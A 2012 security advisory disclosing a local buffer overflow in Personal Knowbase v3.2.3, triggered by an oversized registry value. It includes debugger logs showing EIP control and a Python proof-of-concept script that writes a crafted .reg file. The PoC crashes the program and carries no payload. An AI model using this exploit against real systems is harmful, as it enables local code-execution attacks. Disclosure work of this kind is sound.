ADVISORY INFORMATION

  • Product: Personal Knowbase v3.2.3
  • Vendor URL: https://www.bitsmithsoft.com/
  • Exploitation Technique: Local
  • Severity: High
  • Status: Published
  • VL-ID: 474

CREDITS

Vulnerability Research Laboratory - Julien Ahrens (MrTuxracer)

VERSIONS AFFECTED

Bitsmith Product: Personal Knowbase v3.2.3

INTRODUCTION

Personal Knowbase is a program for organizing free-form information using keywords. Build a personal knowledge base of all your notes, messages, and ideas. Store and index your information in one place for easy retrieval using keywords that you choose. The attachment feature even associates disk files and Internet addresses with your notes, so you can access any computerized information using the same set of keywords.

» Reduce paper clutter. » Save hard disk space by consolidating small text files. » Gather related information together. » Find your information easily. » Protect your private information with passwords. » Cross-reference your notes with hypertext links.

(Copy of the Vendor Homepage: https://www.bitsmithsoft.com/ )

VULNERABILITY DETAILS

A Vulnerability Laboratory Researcher discovered a local Buffer Overflow vulnerability on Bitsmiths Personal Knowbase v3.2.3.

A Buffer Overflow vulnerability is detected on Bitsmith Software Personal Knowbase v3.2.3. The vulnerability is located in the main executeable knowbase.exe. An oversized string on the registry value Knowbase Data within the Key [HKEY_CURRENT_USER/Software/Bitsmith Software/Personal Knowbase/Directories] results in a local buffer overflow. The value gets read within the FileOpen dialogue. An attacker needs to manipulate the registry value and has to trick the victim to open and cancel the FileOpen dialogue.

Vulnerable Module(s): [+] knowbase.exe

— Debugger Logs —

# 41414141: The instruction at 0x41414141 referenced memory at 0x41414141. The memory could not be read -> 41414141 (exc.code c0000005, tid 844)

# Registers:
# EAX 00000000
# ECX 41414141
# EDX 005716E8 knowbase.005716E8
# EBX 00000001
# ESP 0012F730 ASCII ``CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC``
# EBP 0012F738 ASCII ``CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC``
# ESI 00527DF8 knowbase.00527DF8
# EDI 00570BC8 knowbase.00570BC8
# EIP 41414141

# Stack:
# 0012F724   41414141  AAAA
# 0012F728   FFFFFFFF
# 0012F72C   42424242  BBBB
# 0012F730   43434343  CCCC
# 0012F734   43434343  CCCC
# 0012F738   43434343  CCCC
# 0012F73C   43434343  CCCC

# Dump:
# 0012F710  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012F718  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012F720  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012F728  FF FF FF FF 42 42 42 42      BBBB
# 0012F730  43 43 43 43 43 43 43 43  CCCCCCCC
# 0012F738  43 43 43 43 43 43 43 43  CCCCCCCC
# 0012F740  43 43 43 43 43 43 43 43  CCCCCCCC

Picture(s): ../1.png

The security risk of the local buffer overflow vulnerability is estimated as high(-).

PROOF OF CONCEPT

The vulnerability can be exploited by local attackers. Successful exploitation requires user inter action by clicking the dialog file open or cancel. For demonstration or reproduce …

#!/usr/bin/python

# Exploit Title: Bitsmith Software Personal Knowbase v3.2.3 Local Buffer Overflow
# Version:       3.2.3
# Tested on:     Windows XP SP3 Professional German
# Howto:         Import Reg -> Start App -> Open File --> Cancel

file="poc.reg"

junk1="\x41" * 272
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\Bitsmith Software\Personal Knowbase\Directories]\n"
poc=poc + "\"Knowbase Data\"=\"" + junk1 + boom + junk2 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";

SOLUTION

N/A

REPORT TIMELINE

  • 2012-03-14: Vendor Notification 1
  • 2012-03-16: Vendor Notification 2
  • 2012-03-20: Vendor Notification 3
  • 2012-03-30: Public or Non-Public Disclosure

REFERENCES